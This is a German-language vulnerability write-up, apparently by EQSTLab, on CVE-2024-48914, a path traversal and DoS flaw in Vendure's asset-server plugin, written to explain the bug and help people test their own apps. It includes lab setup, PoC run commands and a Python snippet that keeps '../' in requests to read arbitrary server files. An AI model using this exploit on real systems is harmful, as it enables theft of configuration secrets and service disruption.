
Beliebiges Dateilesen und DoS in vendure-ecommerce Exploit
Dieser Beitrag ist ein Forschungsartikel, veröffentlicht von EQSTLab.
Dank an Rajesh Sharma, der diese Sicherheitslücke entdeckt hat.
★ CVE-2024-48914 Beliebiger Dateizugriff und DoS PoC ★
CVE-2024-48914 : vendure-ecommerce Sicherheitslücke für beliebigen Dateizugriff und DoS
Beschreibung: Vendure ist eine quelloffene Headless-Commerce-Plattform. Vor den Versionen 3.0.5 und 2.3.3 ermöglicht eine Sicherheitslücke im Asset-Server-Plugin von Vendure einem Angreifer, eine Anfrage zu erstellen, die das Server-Dateisystem durchlaufen und den Inhalt beliebiger Dateien abrufen kann, einschließlich sensibler Daten wie Konfigurationsdateien, Umgebungsvariablen und anderer kritischer auf dem Server gespeicherter Daten. Im selben Codepfad gibt es einen zusätzlichen Vektor, um den Server durch einen fehlerhaften URI zum Absturz zu bringen. Patches sind in den Versionen 3.0.5 und 2.3.3 verfügbar. Es sind auch einige Workarounds verfügbar. Man kann Objektspeicher anstelle des lokalen Dateisystems verwenden, z. B. MinIO oder S3, oder Middleware definieren, die Anfragen mit URLs, die /../ enthalten, erkennt und blockiert.
Laden Sie die verwundbare Version herunter (v3.0.4):
npm install
npm run build
docker-compose.yml
# This contains the services required to develop and test Vendure
# locally. It includes multiple SQL databases (for testing specific
# versions), Elasticsearch, Redis etc.
version: '3.7'
name: vendure-monorepo
services:
mariadb:
image: 'bitnami/mariadb:latest'
container_name: mariadb
environment:
MARIADB_DATABASE: vendure-dev
MARIADB_ROOT_USER: vendure
MARIADB_ROOT_PASSWORD: password
volumes:
- 'mariadb_data:/bitnami'
ports:
- '3306:3306'
mysql_8:
image: bitnami/mysql:8.0
container_name: mysql-8
environment:
MYSQL_AUTHENTICATION_PLUGIN: mysql_native_password
MYSQL_DATABASE: vendure-dev
MYSQL_ROOT_USER: vendure
MYSQL_ROOT_PASSWORD: password
volumes:
- 'mysql_data:/bitnami'
ports:
- '3306:3306'
mysql_5:
image: bitnami/mysql:5.7
container_name: mysql-5.7
environment:
MYSQL_AUTHENTICATION_PLUGIN: mysql_native_password
MYSQL_DATABASE: vendure-dev
MYSQL_ROOT_USER: vendure
MYSQL_ROOT_PASSWORD: password
volumes:
- 'mysql_data:/bitnami'
ports:
- '3306:3306'
postgres_12:
image: postgres:12.3
container_name: postgres_12
environment:
POSTGRES_DB: vendure-dev
POSTGRES_USER: vendure
POSTGRES_PASSWORD: password
PGDATA: /var/lib/postgresql/data
volumes:
- postgres_12_data:/var/lib/postgresql/data
ports:
- "5432:5432"
command: postgres -c shared_preload_libraries=pg_stat_statements -c pg_stat_statements.track=all -c pg_stat_statements.max=100000 -c max_connections=200
postgres_16:
image: postgres:16
container_name: postgres_16
environment:
POSTGRES_DB: vendure-dev
POSTGRES_USER: vendure
POSTGRES_PASSWORD: password
PGDATA: /var/lib/postgresql/data
volumes:
- postgres_16_data:/var/lib/postgresql/data
ports:
- "5432:5432"
command: postgres -c shared_preload_libraries=pg_stat_statements -c pg_stat_statements.track=all -c pg_stat_statements.max=100000 -c max_connections=200
# This is the Keycloak service which is used
# to test the Keycloak auth strategy
keycloak:
image: quay.io/keycloak/keycloak
ports:
- "9000:8080"
environment:
KEYCLOAK_ADMIN: admin
KEYCLOAK_ADMIN_PASSWORD: admin
command:
- start-dev
- --import-realm
volumes:
- keycloak_data:/opt/keycloak/data
elasticsearch:
image: docker.elastic.co/elasticsearch/elasticsearch:7.10.2
container_name: elasticsearch
environment:
- discovery.type=single-node
- bootstrap.memory_lock=true
- "ES_JAVA_OPTS=-Xms512m -Xmx512m"
ulimits:
memlock:
soft: -1
hard: -1
volumes:
- esdata:/usr/share/elasticsearch/data
ports:
- 9200:9200
redis:
image: bitnami/redis:7.4.1
hostname: redis
container_name: redis
environment:
- ALLOW_EMPTY_PASSWORD=yes
ports:
- "6379:6379"
volumes:
postgres_16_data:
driver: local
postgres_12_data:
driver: local
mariadb_data:
driver: local
mysql_data:
driver: local
keycloak_data:
driver: local
esdata:
driver: local
Befehl zum Ausführen
docker-compose up -d mariadb
docker-compose up -d elasticsearch
cd packages/dev-server
npm run populate
npm run start
git clone https://github.com/EQSTLab/CVE-2024-48914.git
cd CVE-2024-48914
pip install -r requirements.txt
# Arbitrary File Read (mode 1)
python CVE-2024-48914.py -u <URL_TO_EXPLOIT> -f <FILE_TO_READ> -m 1
# Denial of Service (mode 2)
python CVE-2024-48914.py -u <URL_TO_EXPLOIT> -m 2
CVE-2024-48914.py (Beliebiger Dateizugriff)

CVE-2024-48914.py (DoS-Angriff)

vendure/packages/asset-server-plugin/src/plugin.ts
const decodedReqPath = decodeURIComponent(req.path);
if (imageParamsString !== '') {
const imageParamHash = this.md5(imageParamsString);
return path.join(this.cacheDir, this.addSuffix(decodedReqPath, imageParamHash, imageFormat));
} else {
return decodedReqPath;
}
Die Sicherheitslücke entsteht durch die direkte Verwendung von decodedReqPath in path.join ohne Durchführung einer Pfadnormalisierung, d. h. path.normalize in Node.js. Diese Sicherheitslücke ermöglicht es einem Angreifer, eine Anfrage zu erstellen, die das Server-Dateisystem durchlaufen und den Inhalt beliebiger Dateien abrufen kann, einschließlich sensibler Daten wie Konfigurationsdateien, Umgebungsvariablen und anderer kritischer auf dem Server gespeicherter Daten.
Wenn das Python-Requests-Modul verwendet wird, wird das "../" aus dem URL-Pfad entfernt. Wenn Sie wie unten "vorbereitete Anfragen" (prepared requests) verwenden, können Sie das Python-Requests-Modul nutzen, ohne dass das "../" aus dem URL-Pfad entfernt wird.
def readFile(self) -> None:
url = f"{self.url}/assets/../{self.file}"
s = requests.Session()
req = requests.Request(method='GET' ,url=url)
prep = req.prepare()
prep.url = url
response = s.send(prep, verify=False)
...
Dieses Repository ist nicht als Exploit für beliebigen Dateizugriff oder DoS für CVE-2024-48914 gedacht. Der Zweck dieses Projekts ist es, Menschen zu helfen, diese Sicherheitslücke zu verstehen und möglicherweise ihre eigenen Anwendungen zu testen.
https://github.com/vendure-ecommerce/vendure/security/advisories/GHSA-r9mq-3c9r-fmjq https://github.com/vendure-ecommerce/vendure/tree/v3.0.4